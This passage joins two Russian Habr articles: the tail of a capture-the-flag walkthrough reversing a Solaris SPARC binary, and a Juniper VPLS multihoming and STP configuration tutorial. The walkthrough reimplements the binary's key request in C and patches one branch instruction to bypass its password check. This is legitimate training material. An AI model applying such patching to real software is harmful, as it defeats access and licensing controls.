Configured with: ../configure --with-as=/usr/ccs/bin/as --with-ld=/usr/ccs/bin/ld --enable-shared --enable-languages=c,c++,f77
Thread model: posix
gcc version 3.4.6
MC:
# /usr/local/bin/mc
Left File Command Options Right
+<-~---------------------------------v>++<-~---------------------------------v>+
| Name | Size | MTime || Name | Size | MTime |
|/.mc | 512|Jun 13 2014||/.mc | 512|Jun 13 2014|
|~bin | 9|Jun 13 1998||~bin | 9|Jun 13 1998|
|/cdrom | 512|Jun 19 2014||/cdrom | 512|Jun 19 2014|
|/dev | 3072|Mar 30 07:43||/dev | 3072|Mar 30 07:43|
|/devices | 512|Jun 13 1998||/devices | 512|Jun 13 1998|
|/etc | 3072|Mar 30 08:04||/etc | 3072|Mar 30 08:04|
|/export | 512|Jun 13 1998||/export | 512|Jun 13 1998|
|/home | 512|Jun 19 2014||/home | 512|Jun 19 2014|
|/kernel | 512|Jun 13 1998||/kernel | 512|Jun 13 1998|
|~lib | 9|Jun 13 1998||~lib | 9|Jun 13 1998|
|/lost+found | 8192|Jun 13 1998||/lost+found | 8192|Jun 13 1998|
|/mnt | 512|Jun 13 1998||/mnt | 512|Jun 13 1998|
|/opt | 512|Jun 13 1998||/opt | 512|Jun 13 1998|
|/platform | 512|Jun 13 1998||/platform | 512|Jun 13 1998|
|/proc | 65216|Mar 30 08:13||/proc | 65216|Mar 30 08:13|
+--------------------------------------++--------------------------------------+
|/.mc ||/.mc |
+--------------------------------------++--------------------------------------+
Hint: If you want to see your .* files, say so in the Configuration dialog.
# WARNING: processor level 12 onboard interrupt not serviced
1Help 2Menu 3View 4Edit 5Copy 6RenMov 7Mkdir 8Del
```
Посмотрев различные директории, можно найти файл /home/solaris/getlaunchkey. Пробуем запустить программу. Она нас просит ввести логин и пароль. Простой перебор ничего не дает.
```
# /home/solaris/getlaunchkey
Login: root
Password: 123456
Wrong password!# /home/solaris/getlaunchkey
Login: ivanov
Password: 123456
Wrong password!#
```
#### **Предварительный реверс программы getlaunchkey**
Попробуем взломать программу: займемся реверсом программы getlaunchkey. При разборе этой программы в IDA все выглядит просто. В начале программа собирает пароль и имя пользователя:
Затем считается SHA от пароля и сравнивается с захардкоденным значением. Если значение хэша SHA совпадает, то программа работает дальше, иначе завершает работу:
Затем происходит типичная настройка сокетов, в которых фигурирует адрес отправки (хост с Solaris 2.6)
и адрес получателя (некий сервер):
При этом используется порт 9930:
Далее можно заметить, что программа выполняет ряд операций и осуществляет несколько обращений к серверу и получает ответы, после чего печатает ответ на экран.
Теперь, когда известен примерный алгоритм работы программы, существует два пути решения:
1. Написать аналогичную программу на C под Windows/Linux и попробовать ее запустить.
2. Исправить два IP-адреса и решение о хэше введенного пароля, после чего выполнить исправленную программу в Solaris 2.6 и увидеть результат.
#### **Способ №1. Полный реверс приложения и написание своей программы, работающей аналогично**
Если действовать первым способом, то необходимо детально разобрать алгоритм приложения и попытаться написать программу, которая дублирует эту функциональность. Попробуем это сделать.
##### **Разбор алгоритма работы программы getlaunchkey**
В случае успешной инициализации сети программа выполняет ряд вычислений со строкой с именем пользователя:
На схеме видно следующее:
* сначала некая «страшная» строка попадает в локальную переменную buf (1);
* затем выполняется цикл по значению длины имени пользователя (2) в рамках которого происходят некие вычисления (3);
* в результате изменения buf отправляется в сеть по заданному адресу (5).
Рассмотрим блок (3) подробнее.
Суть вычислений в блоке выглядит следующим образом: в начале идет три одинаковых блока с инструкциями (1, 2, 3), которые выполняют загрузку данных из памяти в регистры (ld), и два сложения (add), осуществляющие вычисление индекса в массиве относительно char\_number. В результате в регистрах o3, o4 и g1 формируются одинаковые индексы, скорее всего, равные текущему номеру элемента в массиве относительно fp (Frame Pointer – указатель текущего фрейма стека).
Номер индекса равен итерации внешнего цикла. Затем в регистры o5 и g1 записываются значения из памяти по смещениям 0x1F0 и 0x40 (4). Указанные смещения соответствуют двум локальным массивам. Эти массивы соответствуют прочитанному имени пользователя и буферу, в который была скопирована «страшная» строка. Далее в коде выполняется инструкция btog (5). После этого результат операции btog (регистр g1) записывается обратно в память массива 0x1F0 (инструкция stb) (6). Затем значение переменной char\_number увеличивается на 1 (inc) (7). Последняя часть блока просто переходит на очередную итерацию цикла (8).
Осталось выяснить, что же за инструкция btog? Воспользуемся гуглом и найдем список инструкций Sparc (например, [тут](https://www.cs.tufts.edu/~nr/toolkit/specs/sparc.html)). В нем написано следующее:
```
btog reg_or_imm, rd is XOR (rd, reg_or_imm, rd)
```
Суть остальных инструкций можно также прочитать в указанном источнике. Таким образом, блок кода (3) соответствует примерно следующему коду: buf[char\_number] ^= user\_name[char\_number].
Оставшаяся часть программы ожидает ответа от сервера:
Затем для полученного ответа выполняет вновь XOR (2) с именем пользователя (1), в результате чего получается ключ (3):
Так программа повторяет несколько раз по количеству попыток. В результате завершает свою работу.
##### **Код программы, написанный по итогам реверса getlaunchkey**
В итоге проделанной работы по реверсу получится примерно такой код:
```
#define SRV_IP "79.175.2.82"
#define CLIENT_IP "192.168.1.2"
int main()
{
char login_buf[64];
int i = 0;
memset(login_buf, 0, sizeof(login_buf));
printf("\nLogin: ");
scanf("%s", login_buf);
printf("\nTry to get Key for %s...", login_buf);
int len = sizeof(struct sockaddr_in);
struct sockaddr_in si_other, si_my;
int s, i, slen = sizeof(si_other);
char buf[128];
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
printf("\nError 1");
exit(2);
}
memset((char *) &si_other, 0, sizeof(si_other));
si_other.sin_family = AF_INET;
si_other.sin_port = htons(9930);
if (inet_aton(SRV_IP, &si_other.sin_addr) == 0)
{
fprintf(stderr, "inet_aton() failed\n");
exit(1);
}
memset((char *) &si_my, 0, sizeof(si_my));
si_my.sin_family = AF_INET;
si_my.sin_port = htons(9930);
if (inet_aton(CLIENT_IP, &si_my.sin_addr) == 0)
{
fprintf(stderr, "inet_aton() failed\n");
exit(1);
}
if (bind(s, &si_my, len)<0)
{
printf("bind failed\n");
exit(1);
}
int j = 0;
printf("\nSending request for key #%d", i);
sprintf(buf, "yugJHyGUgtygjgftTVHftyfHgETKeY");
for (j = 0; j < strlen(login_buf); j++)
{
buf[j] ^= (char)login_buf[j];
}
if (sendto(s, buf, 128, 0, &si_other, slen)==-1)
{
printf("\nError 2: sendto");
exit(2);
}
slen = sizeof(si_other);
printf("\nWaiting for answer...");
if (recvfrom(s, buf, 128, 0, &si_other, &slen)==-1)
{
printf("Error 3: recvfrom");
exit(3);
}
for (j = 0; j < strlen(login_buf); j++)
{
buf[j] ^= (char)login_buf[j];
}
printf("\nLaunch Key Received: %s\n\n", buf);
close(s);
}
```
Указанный код можно теперь скомпилировать в Windows или Linux и запустить. После запуска вводится имя пользователя (ivanov), после обмена данными с сервером программа распечатает ответный ключ.
Такой путь требует много времени на изучение кода на относительно экзотической архитектуре sparc.
#### **Способ №2. Исправление программы и ее запуск в Solaris 2.6.**
Попробуем пройти по второму пути. Сперва нужно решить два вопроса: как закинуть исправленный файл на Solaris 2.6 и как затем обеспечить работу сети, чтобы программа сработала нормально? В результате короткого исследования узнаем, что помимо всяких программ есть на Solaris 2.6 FTP клиент ftp, с помощью которого можно обмениваться файлами Windows с Solaris. Теперь дело за малым: настроить для виртуальной машины доступ к сети.
##### **Настройка доступа к сети для виртуальной машины**
Для этого изучаем еще [статью](http://en.wikibooks.org/wiki/QEMU/Networking) в разделе “Starting QEMU with a TAP interface” и пробуем все настроить через vpn мост. Наверное, можно как-то проще, но так, как указано дальше, сеть работает. Алгоритм действий для Windows следующий:
1. Качаем программу [openvpn](https://openvpn.net/index.php/open-source/downloads.html). Мы тестировали на версии: openvpn-install-2.3.4-I002-x86\_64.exe
2. Переименовываем адаптер с типом “TAP-Windows Adapter V9” во что-то короткое типа tap1.
3. Создаем мост в “Control Panel\Network and Internet\Network Connections” между сетевым адаптером, который подключен к интернету и новым виртуальным сетевым адаптером “TAP-Windows Adapter V9”.
4. Дополняем строку запуска qemu аргументами: **-net nic -net tap,ifname=tap1** и запускаем виртуальную машину qemu заново строкой:
```
"c:\Program Files (x86)\qemu\qemu-system-sparc.exe" -bios .\ss5-1.bin -L .\ –hda .\image.img -m 256 -M SS-5 -nographic -serial mon:telnet:127.0.0.1:4444,server,nowait -net nic -net tap,ifname=tap1
```
Теперь опять загружаем Solaris через putty, логинимся и настраиваем сеть. Имя сетевого интерфейса можно было заметить во время загрузки:
```
Copyright (c) 1983-1997, Sun Microsystems, Inc.
configuring network interfaces: le0.
Hostname: zvezda
<\source>
Проверяем текущие настройки командой ifconfig le0:
# ifconfig le0
le0: flags=863 mtu 1500
inet 192.168.1.88 netmask ffffff00 broadcast 192.168.1.255
ether 52:54:0:12:34:56
```
Обратим внимание на настройку сети: установлен статический IP-адрес 192.168.1.88, который так же присутствует и в программе, как было выяснено ранее. Следовательно, один адрес в программе соответствует локальному адресу, и его нужно заменить на новый локальный адрес, после отработки ARP. Второй адрес (192.168.1.22) соответствует адресу сервера, к которому отправляется запрос, следовательно, его нужно заменить на выданный нам в условии адрес 79.175.2.82.
Если необходимо, устанавливаем корректный IP-адрес и адрес шлюза для своей локальной сети. Например, можно настроить автоматически (тут будет полезна вот [эта статья](http://thegeekdiary.com/examples-of-adding-static-routes-in-solaris/) ):
```
ifconfig le0 auto-dhcp
route add default 192.168.1.1
```
Вновь проверяем настройки командой ifconfig le0:
```
# ifconfig le0
le0: flags=863 mtu 1500
inet 192.168.1.12 netmask ffffff00 broadcast 192.168.1.255
ether 52:54:0:12:34:56
```
Теперь проверяем ping 8.8.8.8 и ping 79.175.2.82. Если все настроено нормально, то получим такой результат:
```
# ping 8.8.8.8
8.8.8.8 is alive
# ping 79.175.2.82
79.175.2.82 is alive
```
Чтобы обеспечить связь с Windows, можно поставить на Windows FTP сервер. После чего с помощью клиента ftp на Solaris 2.6 можно обмениваться данными.
##### **Модификация программы getlaunchkey**
Вернемся к программе getlaunchkey. Если не изучать детально алгоритм программы, то для ее нормальной работы требуется выполнить всего три модификации бинарного файла программы getlaunchkey:
1. изменить строку с адресом хоста “192.168.1.88” -> “192.168.1.12”
2. изменить строку с адресом хоста “192.168.1.22” -> “79.175.2.82 ”
3. изменить результат решения после проверки пароля.
Первые замены выполняются тривиально, с помощью hex-редактора. Последнюю замену нужно выполнить путем модификации кода инструкции sparc. Если обратить внимание, то переход после проверки cmp осуществляется инструкцией be (branch equal), значит, надо эту инструкцию заменить на инструкцию bne (branch not equal). Опкод требуемой инструкции можно увидеть через IDA далее по коду:
Таким образом, нужно просто изменить байт 0x02 на байт 0x12 по смещению 0x1084 (0x11084 — 0x10000):
Теперь осталось через ftp скопировать измененный getlaunchkey2.bin обратно на Solaris и выполнить его. Хост с Windows имеет IP-адрес 192.168.1.3. Для нормальной работы ftp надо не забыть включить бинарный тип передаваемых данных, в остальном все делается достаточно просто:
```
# ifconfig le0
le0: flags=4863 mtu 1500
inet 192.168.1.12 netmask ffffff00 broadcast 192.168.1.255
ether 52:54:0:12:34:56
# ftp 192.168.1.3
Connected to 192.168.1.3.
220-FileZilla Server version 0.9.45 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.1.2:root): guest
331 Password required for guest
Password:
230 Logged on
ftp> binary
200 Type set to I
ftp> get getlaunchkey2.bin
200 Port command successful
150 Opening data channel for file download from server of "/getlaunchkey2.bin"
226 Successfully transferred "/getlaunchkey2.bin"
local: getlaunchkey2.bin remote: getlaunchkey2.bin
25228 bytes received in 0.0039 seconds (6389.19 Kbytes/s)
ftp> quit
221 Goodbye
# ls -l
total 100
-rwxr-xr-x 1 root other 25228 Jun 19 2014 getkey
-rw-r--r-- 1 root other 25228 Apr 1 06:25 getlaunchkey2.bin
# chmod 777 ./getlaunchkey2.bin
# ls -l
total 100
-rwxr-xr-x 1 root other 25228 Jun 19 2014 getkey
-rwxrwxrwx 1 root other 25228 Apr 1 06:25 getlaunchkey2.bin
# ./getlaunchkey2.bin
Login: ivanov
Password:123
Try to get Key for ivanov...
Sending request for key #0
Waiting for answer...
Launch Key Received: a24214rf143sdfsf
```
Как можно видеть, программа вывела на экран ключ, который и был нужен для прохождения задания!
#### **Советы по установке Solaris 2.6**
При подготовке задания Solaris 2.6 был полностью установлен с нуля, на нем был установлен gcc (он не входит в стандартный пакет), затем была разработана и скомпилирована программа. О том, как запускать Solaris 2.6 и как настроить на нем сеть, было уже рассказано в этой статье. Для дополнения картины еще несколько советов по установке Solaris:
1. Были перепробованы около 10 различных дистрибутивов, однако нормально удалось поставить и запустить после установки только дистрибутив, у которого файл называется так: SOL\_2\_6\_598\_SPARC\_SMCC\_SVR.iso.
2. Детальную инструкцию по установке можно найти [тут.](http://brezular.com/2012/02/17/installation-solaris-2-6-sparc-on-qemu-part2-solaris-installation/)
3. При установке желательно вручную исправить таблицу разделов так, чтобы на /usr выделялось не менее 400 Mb.
4. После установки на ОС Solaris можно дополнительно установить пакеты, которые можно скачать [здесь.](http://sunfreeware.tiscali.nl/sparc/2.6/)
5. Для создания виртуального диска можно использовать команду: qemu-img.exe create -f qcow2 D:\qemu\sparc\_36.img 36G
6. Для установки пакета можно использовать команды:
```
gzip -d package_name
sudo pkgadd -d unzipped_package_name
``` | https://habr.com/ru/post/255079/ | null | ru | null |
# Настройка VPLS Multihoming на маршрутизаторах Juniper
Технология VPLS уже давно зарекомендовала себя как способ объединения географически разнесенных объектов в единую L2-сеть. Такое решение хорошо масштабируется по сравнению с классической L2-сетью и позволяет избавиться от проблем L2-петель в ядре сети. Однако, часто возникает необходимость организации резервных каналов от абонента к VPLS-облаку. В такой ситуации есть опасность образования петель на участке PE-CE. Для решения этой проблемы существует несколько подходов. Вот некоторые из них:
* BGP-Based VPLS Multihoming
* Связка VPLS и STP
* MC-LAG
В данной статье я бы хотел рассмотреть первые два подхода.
Содержание
==========
[Настройка транспорта](#transport)
* [Базовая настройка PE-маршрутизаторов](#pe_base)
* [Базовая настройка P-маршрутизаторов](#p_base)
* [Базовая настройка CE-коммутаторов](#ce_base)
[BGP-Based VPLS Multihoming](#bgp_multihoming)
* [Настройка BGP](#bgp)
* [Настройка VPLS](#vpls)
* [Настройка Multihoming](#multihoming)
[Связка VPLS и STP](#stp_vpls)
* [Настройка STP](#stp)
* [Настройка VPLS на LDP](#ldp_vpls)
[Выводы](#conclusion)
[Материалы, использованные при написании статьи](#references)
Дисклеймер
==========
Основная цель данной статьи — представить рабочую конфигурацию достаточно комплексного решения. При написании я не ставил себе цель глубоко вдаваться в теорию и пояснять тонкости работы тех или иных протоколов, о которых пойдет речь. Подразумевается, что читатель хорошо знаком с работой MPLS, BGP и Spanning-tree протоколов.
Настройка транспорта
====================
Ниже представлена топология, которую я буду использовать в этой статье.
Сеть провайдера состоит из PE и P маршрутизаторов (Juniper MX), все они находятся в OSPF Area 0 и BGP AS 65412. Абонентская сеть — это три коммутатора (Cisco Catalyst), на каждом из которых поднят Vlan 10 и RPVST-версия Spanning-tree протокола (VSTP в терминологии Juniper).
Прежде чем начинать настройку VPLS, необходимо поднять MPLS-транспорт. Для сигнализации LSP в данном примере используется протокол RSVP. Для краткости я привожу конфигурации только двух маршрутизаторов, остальные легко настроить по аналогии.
##### **Базовая настройка PE-маршрутизаторов на примере PE1**
**PE1 base config**
```
system {
host-name PE1;
}
interfaces {
ge-0/0/0 {
encapsulation flexible-ethernet-services;
flexible-vlan-tagging;
unit 10 {
encapsulation vlan-vpls;
vlan-id 10;
}
}
ge-0/0/1 {
mtu 2000;
unit 0 {
family inet {
address 10.0.11.1/30;
}
family mpls;
}
}
ge-0/0/2 {
mtu 2000;
unit 0 {
family inet {
address 10.0.12.1/30;
}
family mpls;
}
}
lo0 {
unit 0 {
family inet {
address 10.0.0.1/32;
}
}
}
}
routing-options {
router-id 10.0.0.1;
autonomous-system 65412;
}
protocols {
rsvp {
interface lo0.0;
interface ge-0/0/1.0;
interface ge-0/0/2.0;
}
mpls {
label-switched-path PE1-PE2 {
to 10.0.0.2;
no-cspf;
}
label-switched-path PE1-PE3 {
to 10.0.0.3;
no-cspf;
}
label-switched-path PE1-PE4 {
to 10.0.0.4;
no-cspf;
}
interface ge-0/0/1.0;
interface ge-0/0/2.0;
}
ospf {
area 0.0.0.0 {
interface ge-0/0/1.0 {
interface-type p2p;
}
interface ge-0/0/2.0 {
interface-type p2p;
}
interface lo0.0;
}
}
}
```
Параметры flexible-vlan-tagging и flexible-ethernet-sevices позволяют настраивать на физическом интерфейсе не только VPLS, но и другие сервисы, используя разные логические юниты. Если интерфейс планируется использовать только под VPLS, то следует указать encapsulation ethernet-vpls или vlan-vpls. Подробнее [тут](http://www.juniper.net/documentation/en_US/junos12.1/topics/concept/vpls-security-interface-understanding.html).
##### **Базовая настройка P-маршрутизаторов на примере P1**
**P1 base config**
```
system {
host-name P1;
}
interfaces {
ge-0/0/0 {
mtu 2000;
unit 0 {
family inet {
address 10.0.11.2/30;
}
family mpls;
}
}
ge-0/0/1 {
mtu 2000;
unit 0 {
family inet {
address 10.0.13.2/30;
}
family mpls;
}
}
ge-0/0/2 {
mtu 2000;
unit 0 {
family inet {
address 10.0.21.1/30;
}
family mpls;
}
}
lo0 {
unit 0 {
family inet {
address 10.0.0.11/32;
}
}
}
}
routing-options {
router-id 10.0.0.11;
autonomous-system 65412;
}
protocols {
rsvp {
interface lo0.0;
interface ge-0/0/0.0;
interface ge-0/0/1.0;
interface ge-0/0/2.0;
}
mpls {
interface ge-0/0/0.0;
interface ge-0/0/1.0;
interface ge-0/0/2.0;
}
ospf {
area 0.0.0.0 {
interface ge-0/0/0.0 {
interface-type p2p;
}
interface ge-0/0/1.0 {
interface-type p2p;
}
interface ge-0/0/2.0 {
interface-type p2p;
}
interface lo0.0;
}
}
}
```
Проверяем, что MPLS поднялся и работает:
```
lab@PE1> traceroute mpls rsvp PE1-PE2
Probe options: retries 3, exp 7
ttl Label Protocol Address Previous Hop Probe Status
1 10.0.12.2 (null) Egress
Path 1 via ge-0/0/2.0 destination 127.0.0.64
lab@PE1> traceroute mpls rsvp PE1-PE3
Probe options: retries 3, exp 7
ttl Label Protocol Address Previous Hop Probe Status
1 299888 RSVP-TE 10.0.11.2 (null) Success
2 3 RSVP-TE 10.0.13.1 10.0.11.2 Egress
Path 1 via ge-0/0/1.0 destination 127.0.0.64
lab@PE1> traceroute mpls rsvp PE1-PE4
Probe options: retries 3, exp 7
ttl Label Protocol Address Previous Hop Probe Status
1 299936 RSVP-TE 10.0.11.2 (null) Success
2 299792 RSVP-TE 10.0.13.1 10.0.11.2 Success
3 3 RSVP-TE 10.0.34.2 10.0.13.1 Egress
Path 1 via ge-0/0/1.0 destination 127.0.0.64
```
##### **Базовая настройка CE-коммутаторов**
**CE1 base config**
```
hostname CE1
!
spanning-tree mode rapid-pvst
spanning-tree extend system-id
!
vlan 10
!
interface GigabitEthernet0/0
switchport trunk allowed vlan 10
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Vlan10
ip address 192.168.10.1 255.255.255.0
no shutdown
!
```
**CE2 base config**
```
hostname CE2
!
spanning-tree mode rapid-pvst
spanning-tree extend system-id
!
vlan 10
!
interface GigabitEthernet0/0
switchport trunk allowed vlan 10
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Vlan10
ip address 192.168.10.2 255.255.255.0
no shutdown
!
```
**CE3 base config**
```
hostname CE3
!
spanning-tree mode rapid-pvst
spanning-tree extend system-id
!
vlan 10
!
interface GigabitEthernet0/0
switchport trunk allowed vlan 10
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface GigabitEthernet0/1
switchport trunk allowed vlan 10
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Vlan10
ip address 192.168.10.3 255.255.255.0
no shutdown
!
```
Теперь можно перейти непосредственно к настройки сервиса VPLS.
BGP-Based VPLS Multihoming
==========================
В первую очередь я бы хотел рассмотреть «классическую», с точки зрения Juniper, реализацию VPLS с использованием BGP сигнализации ([RFC 4761](https://tools.ietf.org/html/rfc4761)). С точки зрения control plane это мало чем отличается от обычного L3VPN — здесь также используются Route Distinguisher и Route Target, а в качестве address family указывается l2vpn.
Для начала нужно настроить сам протокол BGP. Так как для корректной работы iBGP необходима полная связность внутри сети, я использовал P1 и P2 в качестве route-reflector, для упрощения конфигурации.
##### **Настройка BGP**
PE-маршрутизаторы:
**PE BGP config**
```
protocols {
bgp {
group IBGP {
type internal;
local-address 10.0.0.X;
family l2vpn {
signaling;
}
neighbor 10.0.0.11;
neighbor 10.0.0.22;
}
}
}
```
где X — номер соответствующего PE
P1
**P1 BGP config**
```
routing-options {
rib inet.3 {
static {
route 10.0.0.0/24 discard;
}
}
}
protocols {
bgp {
group IBGP {
type internal;
local-address 10.0.0.11;
family l2vpn {
signaling;
}
cluster 10.0.0.0;
neighbor 10.0.0.1;
neighbor 10.0.0.2;
neighbor 10.0.0.3;
neighbor 10.0.0.4;
}
}
}
```
P2
**P2 BGP config**
```
routing-options {
rib inet.3 {
static {
route 10.0.0.0/24 discard;
}
}
}
protocols {
bgp {
group IBGP {
type internal;
local-address 10.0.0.22;
family l2vpn {
signaling;
}
cluster 10.0.0.0;
neighbor 10.0.0.1;
neighbor 10.0.0.2;
neighbor 10.0.0.3;
neighbor 10.0.0.4;
}
}
}
```
Тут стоит отметить блок **routing-options**. Когда route-reflector получает маршрут от своего клиента, прежде чем анонсировать его остальным клиентам, он проверяет доступность next-hop в таблице inet.3. Так как при первоначальной настройке MPLS на P-маршрутизаторах, я не стал создавать LSP до PE-маршрутизаторов, эта таблица пуста и, соответственно, проверка не срабатывает. Маршруты полученные от RR-клиентов помечаются как hidden и не анонсируются дальше. Конечно, можно создать LSP от RR до каждого PE, но это трудоемко, к тому же эти LSP никогда не будут использоваться для передачи трафика. Гораздо проще и элегантнее создать статический маршрут до lo0 сети.
На данный момент BGP связность должна работать между всеми PE-маршрутизаторами, но им пока что нечего анонсировать. Можно переходить к настройке VPLS.
##### **Настройка VPLS**
PE1
**PE1 BGP VPLS config**
```
routing-instances {
VPLS {
instance-type vpls;
interface ge-0/0/0.10;
route-distinguisher 10.0.0.1:1;
vrf-target target:65412:10;
protocols {
vpls {
no-tunnel-services;
site CE1 {
site-identifier 1;
interface ge-0/0/0.10;
}
}
}
}
}
```
PE2
**PE2 BGP VPLS config**
```
routing-instances {
VPLS {
instance-type vpls;
interface ge-0/0/0.10;
route-distinguisher 10.0.0.2:1;
vrf-target target:65412:10;
protocols {
vpls {
no-tunnel-services;
site CE2 {
site-identifier 2;
interface ge-0/0/0.10;
}
}
}
}
}
```
Тут все достаточно просто: создаем routing-instance с типом vpls, назначаем RD и RT, указываем интерфейсы в сторону CE и уникальный site-identifier.
Проверяем:
```
lab@PE1> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
Local site: CE1 (1)
connection-site Type St Time last up # Up trans
2 rmt Up May 30 17:29:28 2015 1
Remote PE: 10.0.0.2, Negotiated control-word: No
Incoming label: 262146, Outgoing label: 262145
Local interface: lsi.1048576, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 1 remote site 2
```
```
lab@PE2> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
Local site: CE2 (2)
connection-site Type St Time last up # Up trans
1 rmt Up May 30 17:29:30 2015 1
Remote PE: 10.0.0.1, Negotiated control-word: No
Incoming label: 262145, Outgoing label: 262146
Local interface: lsi.1048576, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 2 remote site 1
```
VPLS-соединения поднялись. Можно проверить связность CE1 и CE2:
```
CE1>ping 192.168.10.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.2, timeout is 2 seconds:
.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 10/119/207 ms
```
##### **Настройка Multihoming**
Как видно из топологии, коммутатор CE3 соединяется одновременно с двумя PE-маршрутизаторами. Здесь для избежания возникновения L2-петель необходимо задействовать механизм **Multihoming**. Рассмотрим настройки PE3 и PE4.
PE3
**PE3 VPLS config**
```
routing-instances {
VPLS {
instance-type vpls;
interface ge-0/0/0.10;
route-distinguisher 10.0.0.3:1;
vrf-target target:65412:10;
protocols {
vpls {
no-tunnel-services;
site CE3 {
site-identifier 3;
multi-homing;
site-preference primary;
interface ge-0/0/0.10;
}
}
}
}
}
```
PE4
**PE4 VPLS config**
```
routing-instances {
VPLS {
instance-type vpls;
interface ge-0/0/0.10;
route-distinguisher 10.0.0.4:1;
vrf-target target:65412:10;
protocols {
vpls {
no-tunnel-services;
site CE3 {
site-identifier 3;
multi-homing;
site-preference backup;
interface ge-0/0/0.10;
}
}
}
}
}
```
В отличие от предыдущих конфигураций PE1 и PE2 здесь добавляется два параметра:
* **multi-homing** — указывает маршрутизатору, что он подключен к multihomed сайту;
* **site-preference** — значение от 1 (primary) до 65535 (backup), анонсируемое другим PE как BGP community.
При этом указывается одинаковый site-identifier на обоих PE. Таким образом PE3 и PE4 анонсируют один и тот же l2vpn-маршрут, отличающийся только параметром site-preference. Маршрут с наивысшим site-preference, т.е. маршрут от PE3, выигрывает и весь l2vpn трафик от PE1 и PE2 начинает идти через PE3. Интерфейс ge-0/0/0 на PE4 не пропускает трафик.
```
lab@PE1> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
Local site: CE1 (1)
connection-site Type St Time last up # Up trans
2 rmt Up May 30 17:29:28 2015 1
Remote PE: 10.0.0.2, Negotiated control-word: No
Incoming label: 262146, Outgoing label: 262145
Local interface: lsi.1048576, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 1 remote site 2
3 rmt Up May 30 20:16:41 2015 1
Remote PE: 10.0.0.3, Negotiated control-word: No
Incoming label: 262147, Outgoing label: 262145
Local interface: lsi.1048579, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 1 remote site 3
```
```
lab@PE2> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
Local site: CE2 (2)
connection-site Type St Time last up # Up trans
1 rmt Up May 30 17:29:30 2015 1
Remote PE: 10.0.0.1, Negotiated control-word: No
Incoming label: 262145, Outgoing label: 262146
Local interface: lsi.1048576, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 2 remote site 1
3 rmt Up May 30 20:16:42 2015 1
Remote PE: 10.0.0.3, Negotiated control-word: No
Incoming label: 262147, Outgoing label: 262146
Local interface: lsi.1048578, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 2 remote site 3
```
```
lab@PE3> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
Local site: CE3 (3)
connection-site Type St Time last up # Up trans
1 rmt Up May 30 20:16:35 2015 1
Remote PE: 10.0.0.1, Negotiated control-word: No
Incoming label: 262145, Outgoing label: 262147
Local interface: lsi.1048833, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 3 remote site 1
2 rmt Up May 30 20:16:35 2015 1
Remote PE: 10.0.0.2, Negotiated control-word: No
Incoming label: 262146, Outgoing label: 262147
Local interface: lsi.1048832, Status: Up, Encapsulation: VPLS
Description: Intf - vpls VPLS local site 3 remote site 2
3 rmt RN
```
```
lab@PE4> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
Local site: CE3 (3)
connection-site Type St Time last up # Up trans
1 rmt LN
2 rmt LN
3 rmt LN
```
Следует обратить внимание, что на PE4 все VPLS соединения находятся в состоянии LN — local site not designated. Это говорит о том, что PE4 не участвует в передаче VPLS трафика
При падении линка PE3-CE3 или при потере связности PE3 с остальной сетью, маршрутизатор перестает анонсировать l2vpn маршрут, PE4 начинает пропускать трафик на интерфейсе ge-0/0/0, а PE1 и PE2 начинают маршрутизировать трафик в сторону PE4. Скорость переключения каналов в данном случае зависит от скорости схождения BGP.
Связка VPLS и STP
=================
Теперь к самому интересному. Рассмотрим топологию, в которой CE1 и CE2 соединены между собой.
При использовании BGP-Based Multihoming в такой топологии, все будет хорошо до тех пор пока не порвется линк CE1-CE2. PE-маршрутизаторы не узнают об изменении топологии и, в случае, когда, например, PE1 будет основным маршрутизатором, трафик к CE2 продолжит идти через PE1 и будет сбрасываться.
Чтобы изменения топологии в CE-сегменте передавались в VPLS-сегмент, необходимо настроить взаимодействие STP и VPLS.
Ниже немного высокоуровневой теории как это должно работать.
Рассмотрим штатную ситуацию, когда работают все линки.
1. PE1 и PE2 участвуют как в STP, так и в VPLS доменах
2. STP домен является локальным для CE1, CE2, PE1, PE2 и не распространяется на PE3, PE4 и CE3
3. STP на PE1 и PE2 настроен так, что PE1 — это root бридж, а PE2 — backup root
4. На портах PE1 и PE2 смотрящих в сторону CE настроен root protect. Таким образом, когда на порт PE2 приходит BPDU от PE1, этот порт блокируется
5. На PE1 и PE2 подняты PW (pseudowires) друг до друга и до PE3 и PE4 (полная связность), при этом PE2 сигнализирует свои PW как standby (показаны пунктиром), потому что порт в сторону CE2 находится в заблокированном состоянии
Предположим, что линк CE1-CE2 порвался.
В домене STP:
1. CE1 и CE2 отправляют Topology Change Notification
2. CE1 и CE2 сбрасывают MAC-таблицы
3. PE2 становится root бриджем в своем сегменте
4. PE1 остается root бриджем
5. PE2 разблокирует порт в сторону CE2, т.к. перестает получать BPDU от PE1
В домене VPLS:
1. PE2 переводит свои PW в состояние Up, потому что порт в сторону CE2 больше не блокируется
2. PW на PE1 остаются в состоянии Up как и раньше
3. PE2 посылает сигнал PE3 и PE4 сбросить MAC-адреса, полученные от PE1
4. PE3 и PE4 начинают использовать и PE1 и PE2 для передачи трафика до CE1 и CE2
При восстановлении линка CE1-CE2 снова отправляется TCN и сценарий повторяется, с тем различием, что линк PE2-CE2 блокируется.
